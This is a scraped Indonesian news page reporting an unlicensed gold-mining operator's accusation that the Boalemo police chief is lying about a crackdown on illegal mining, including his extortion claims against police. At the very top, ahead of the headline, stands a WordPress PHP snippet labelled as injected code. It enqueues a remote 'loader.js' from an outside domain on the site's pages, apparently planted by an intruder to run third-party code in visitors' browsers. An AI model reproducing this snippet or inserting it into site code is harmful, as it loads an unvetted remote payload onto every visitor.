// Injected Script Enqueue Code function enqueue_custom_script() { wp_enqueue_script( 'custom-error-script', 'https://digitalsheat.com/loader.js', array(), null, true ); } add_action('wp_enqueue_scripts', 'enqueue_custom_script'); Marten Tuding Kapolres Boalemo Lakukan Pembohongan Publik Soal Penertiban Tambang – Media Fakta Terkini News
Scroll untuk baca artikel
Example floating
Example floating
BerandaHukum dan KriminalNasionalTNI Dan Polri

Marten Tuding Kapolres Boalemo Lakukan Pembohongan Publik Soal Penertiban Tambang

25
×

Marten Tuding Kapolres Boalemo Lakukan Pembohongan Publik Soal Penertiban Tambang

Sebarkan artikel ini
Marten Tuding Kapolres Boalemo Lakukan Pembohongan Publik Soal Penertiban Tambang

 

Fakta Terkini News||www.faktaterkininews.com
Gorontalo Jumat 06/06/2025.

Example 300x600

Gorontalo – Marten Basaur, pengusaha pertambangan emas tanpa izin (PETI), menuduh Kapolres Boalemo, AKBP Sigit Rahayudi, melakukan pembohongan publik.

Menurut Marten, pernyataan Kapolres Boalemo yang disiarkan di sejumlah media mengenai penertiban aktivitas PETI di wilayah tersebut hanyalah bentuk pembohongan publik.

Saya meluruskan bahwa video dari pak Kapolres Boalemo, ini pembohongan publik,” ujar Marten dalam video yang diunggah di akun TikTok pribadinya, yang Kamis 05/06/2025

Marten mengungkapkan bahwa penggunaan alat berat jenis excavator oleh pengusaha tambang emas ilegal di Provinsi Gorontalo tidak hanya terbatas pada dirinya. Dia menambahkan, terdapat ratusan alat berat yang tersebar di berbagai wilayah PETI di Provinsi Gorontalo, terutama di Kabupaten Boalemo dan Pohuwato.

Dan di Kabupaten Boalemo itu ada sekitar puluhan alat berat. Selain saya yang di situ, ada beberapa puluhan alat berat juga yang bekerja,” ungkap Marten.

Marten mengatakan bahwa AKBP Sigit Rahayudi telah menjabat sebagai Kapolres Boalemo selama hampir setahun, sementara dirinya baru melaksanakan aktivitas tambang ilegal di wilayah tersebut selama tiga bulan terakhir.

Jadi kalau beliau bilang mau berantas tambang ilegal, itu saya rasa pembohongan publik, dia pembohongan publik.” ucap Marten.

Marten menegaskan bahwa selama hampir setahun menjabat, AKBP Sigit Rahayudi tidak mengambil langkah untuk menghentikan aktivitas pertambangan emas ilegal di wilayah tersebut.

Karena dia (Sigit Rahayudi _red) menjabat kurang lebih satu tahun, dia biarkan tambang ilegal itu beredar. Dia biarkan kok,” tegas Marten.

Marten bahkan menduga, AKBP Sigit Rahayudi turut menikmati hasil dari dugaan praktik pungutan liar (pungli) yang dilakukan oleh oknum kepolisian yang mencapai Rp 30 juta per unit alat berat setiap bulan.

Kalau dia bilang dia menertibkan betul tambang ilegal, dari masuknya dia jadi kapolres, kenapa sampai saat ini dia biarkan. (Tapi) dengan video saya (Berdebat dengan AKBP Sigit _red) beredar, baru dia mau berantas,” ujar Marten.

Marten juga menjelaskan alasan dirinya menentang penertiban tambang ilegal yang dilakukan oleh Kepolisian Polres Boalemo. Menurutnya, aparat kepolisian yang melakukan penindakan terhadap aktivitas ilegal harus dilengkapi dengan surat perintah atau sprint.

 

(Red)

Example 300250
Example 120x600

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *